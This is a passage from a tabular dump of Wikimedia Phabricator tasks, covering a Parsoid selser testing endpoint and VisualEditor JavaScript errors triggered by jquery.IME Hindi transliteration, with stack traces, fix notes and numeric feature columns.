We haven't yet figured out how to do this reliably. We still have same problem that I mentioned on the VE/F page about absence of an oracle to tell us authoritative wikitext to compare against. So, the best we can do is simulate null edits, or modify text, etc. But those are, for the most part, the uninteresting bits of selser testing -- the most interesting bugs show up with more complex edits, and that is the bit that needs to be solved for using it in an automated manner in rt-testing."
247868,Add _rtselser end point in web api,"(In reply to comment #1)
> Just for clarity, this will catch any unhandled fostered parenting issues in
> Parsoid.
Depending on how it's written, it could catch these (or have a mode to detect these), by serializing the DOM out to a string and parsing it back in again.

With or without this kind of DOM normalization though, mass-testing articles to find selser bugs would be very awesome.

> VE-DOM-dirtying will not be caught by this.
Fortunately, VE does its own detection for this at run time: https://en.wikipedia.org/w/index.php?title=Special:RecentChanges&tagfilter=visualeditor-needcheck",,,1379613552,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-g5cwud3usjdr2bplpq6x,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,1.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,12.0,1.0,3.0,8.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,4.0,16.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,2.0,0.0,4.0,1.0,0.0,0.0,3.577777777777778,0.7555555555555555,"(In reply to comment #1)
QUOTE
QUOTE
Depending on how it's written, it could catch these (or have a mode to detect these), by serializing the DOM out to a string and parsing it back in again.

With or without this kind of DOM normalization though, mass-testing articles to find selser bugs would be very awesome.

QUOTE
Fortunately, VE does its own detection for this at run time: URL"
247864,Add _rtselser end point in web api,"Just for clarity, this will catch any unhandled fostered parenting issues in Parsoid. VE-DOM-dirtying will not be caught by this.",,,1379611334,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-g5cwud3usjdr2bplpq6x,task_subcomment,,True,c1,3,True,,,11,,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.074074074074074,0.8518518518518519,"Just for clarity, this will catch any unhandled fostered parenting issues in Parsoid. VE-DOM-dirtying will not be caught by this."
56334,"VisualEditor: ""Uncaught TypeError: Cannot call method 'getOffset' of null"" triggered using jquery.IME","Screenshot of Console Error and Blanked Page

This bug was found when testing per the sixth and seventh comment at Bug 53708
This is very similar to Bug 54331 , however, this one is reproducible.

System Environment:
Windows7 X64 SP1
Google Chrome 29.0.1547.66 m

Test Url:
https://www.mediawiki.org/wiki/Project:Sandbox?veaction=edit

Steps to reproduce:
Enable ULS IME hi transliteration
Input the following (below the 'Testing Area' heading):
agar[SPACE][SPACE][BACKSPACE][BACKSPACE]

What happens:
Apart from a bunch of buggy behaviour described in the seventh comment at Bug 53708 , the template is entirely removed and the following console error shows up once the second [BACKSPACE] is pressed:

Uncaught TypeError: Cannot call method 'getOffset' of null load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:231
ve.ce.Document.getNodeAndOffset load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:231
ve.ce.Surface.showSelection load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:287
ve.ce.Surface.onChange load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:274
oo.EventEmitter.emit load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ck%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:139
ve.dm.Surface.change load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:86
ve.ce.Surface.handleDelete load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:286
ve.ce.Surface.onDocumentKeyDown load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:267
proxy load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:10
ve.EventSequencer.onEvent load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:19
(anonymous function) load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:18
jQuery.event.dispatch load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:45
elemData.handle.eventHandle load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:38

The file urls are:

https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperimental%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*

https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2CloadingSpinner%2CmwEmbedUtil%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11639}",Medium,50.0,1379606220,1453749226.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-fkizlik3mtnbtsqbgnqs,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.6666666666666666,1.0,0.3333333333333333,5.333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,4.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,3.3333333333333335,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,10.333333333333334,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,3.0,2.0,16.333333333333332,0.3333333333333333,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,1.6666666666666667,0.0,0.0,4.0,14.666666666666666,0.0,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,1.0,0.0,0.0,0.3333333333333333,12.957678286625656,0.6951469583048531,"Screenshot of Console Error and Blanked Page

This bug was found when testing per the sixth and seventh comment at Bug 53708
This is very similar to Bug 54331 , however, this one is reproducible.

System Environment:
Windows7 X64 SP1
Google Chrome 29.0.1547.66 m

Test Url:
URL

Steps to reproduce:
Enable ULS IME hi transliteration
Input the following (below the 'Testing Area' heading):
agar[SPACE][SPACE][BACKSPACE][BACKSPACE]

What happens:
Apart from a bunch of buggy behaviour described in the seventh comment at Bug 53708 , the template is entirely removed and the following console error shows up once the second [BACKSPACE] is pressed:

Uncaught TypeError: Cannot call method 'getOffset' of null load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:231
ve.ce.Document.getNodeAndOffset load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:231
ve.ce.Surface.showSelection load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:287
ve.ce.Surface.onChange load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:274
oo.EventEmitter.emit load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ck%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:139
ve.dm.Surface.change load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:86
ve.ce.Surface.handleDelete load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:286
ve.ce.Surface.onDocumentKeyDown load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:267
proxy load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:10
ve.EventSequencer.onEvent load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:19
(anonymous function) load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:18
jQuery.event.dispatch load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:45
elemData.handle.eventHandle load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:38

The file urls are:

URL

URL

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11639}"
596664,"VisualEditor: ""Uncaught TypeError: Cannot call method 'getOffset' of null"" triggered using jquery.IME","As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749185,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fkizlik3mtnbtsqbgnqs,task_subcomment,,True,c1,3,True,,,134,,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.035714285714286,0.8928571428571429,"As of URL in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow."
56331,"VisualEditor: ""Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds"" triggered using jquery.IME","This bug was found when testing per the sixth and seventh comment at Bug 53708
It seems somewhat heisenbuggy and I haven't been able to reproduce it yet. However, I'm sure of the steps which caused it.
Reporting this so that it's documented in case it is ever seen again.

System Environment:
Windows7 X64 SP1
Google Chrome 29.0.1547.66 m

Test Url:
https://www.mediawiki.org/wiki/Project:Sandbox?veaction=edit

Steps to reproduce:
Enable ULS IME hindi (hi) transliteration (labelled लिप्यंतरण)
Input the following:
agar[SPACE][SPACE][BACKSPACE]

What happens:
Apart from a bunch of buggy behaviour (described in the seventh comment at Bug 53708 ), the following console error shows up once the [BACKSPACE] is pressed:

Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:106
ve.dm.Document.getNodeFromOffset load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:106
ve.dm.Surface.change load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:84
ve.ce.Surface.onSelectionChange load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:275
oo.EventEmitter.emit load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ck%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:139
ve.ce.SurfaceObserver.pollOnceInternal load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:292
ve.ce.SurfaceObserver.pollOnce load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:291
ve.ce.SurfaceObserver.timerLoop load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:290
proxy load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:10

The file urls are:

For the last line:
https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2CloadingSpinner%2CmwEmbedUtil%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z

For all other lines:
https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperimental%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*

Also, the template's formatting was gone with the input hindi text appearing alongside the template text.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1379605200,1453749257.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-f3qthugptx3szx2kr56o,task_description,resolved,True,c1,3,False,False,False,11,,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,4.333333333333333,0.6666666666666666,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,3.3333333333333335,6.666666666666667,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,3.3333333333333335,1.0,1.6666666666666667,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,10.333333333333334,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,4.333333333333333,2.3333333333333335,14.666666666666666,1.0,0.6666666666666666,5.666666666666667,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,2.0,0.0,2.3333333333333335,6.666666666666667,12.333333333333334,0.0,0.0,0.0,2.3333333333333335,0.0,1.0,0.3333333333333333,0.0,1.6666666666666667,0.0,0.0,1.6666666666666667,9.711943010135782,0.6808663224325876,"This bug was found when testing per the sixth and seventh comment at Bug 53708
It seems somewhat heisenbuggy and I haven't been able to reproduce it yet. However, I'm sure of the steps which caused it.
Reporting this so that it's documented in case it is ever seen again.

System Environment:
Windows7 X64 SP1
Google Chrome 29.0.1547.66 m

Test Url:
URL

Steps to reproduce:
Enable ULS IME hindi (hi) transliteration (labelled लिप्यंतरण)
Input the following:
agar[SPACE][SPACE][BACKSPACE]

What happens:
Apart from a bunch of buggy behaviour (described in the seventh comment at Bug 53708 ), the following console error shows up once the [BACKSPACE] is pressed:

Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:106
ve.dm.Document.getNodeFromOffset load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:106
ve.dm.Surface.change load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:84
ve.ce.Surface.onSelectionChange load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:275
oo.EventEmitter.emit load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ck%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:139
ve.ce.SurfaceObserver.pollOnceInternal load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:292
ve.ce.SurfaceObserver.pollOnce load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:291
ve.ce.SurfaceObserver.timerLoop load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:290
proxy load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:10

The file urls are:

For the last line:
URL

For all other lines:
URL

Also, the template's formatting was gone with the input hindi text appearing alongside the template text.

--------------------------
**Version**: unspecified
**Severity**: normal"
596666,"VisualEditor: ""Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds"" triggered using jquery.IME","As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749233,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f3qthugptx3szx2kr56o,task_subcomment,,True,c1,3,True,,,134,,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.035714285714286,0.8928571428571429,"As of URL in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow."
247520,"VisualEditor: ""Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds"" triggered using jquery.IME","After Comment 3, reloading the page by pressing the return key in the address bar gave the following error:

Uncaught RangeError: Maximum call stack size exceeded
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload",,,1379611711,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-f3qthugptx3szx2kr56o,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.42857142857142855,0.0,0.0,0.0,0.0,0.0,0.2857142857142857,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5714285714285714,0.0,15.285714285714286,0.0,0.0,0.5714285714285714,0.0,0.0,0.0,0.0,0.0,0.0,0.14285714285714285,0.0,0.0,0.42857142857142855,0.5714285714285714,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.42857142857142855,0.0,0.0,0.0,7.67936507936508,0.09682539682539684,"After Comment 3, reloading the page by pressing the return key in the address bar gave the following error:

Uncaught RangeError: Maximum call stack size exceeded
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
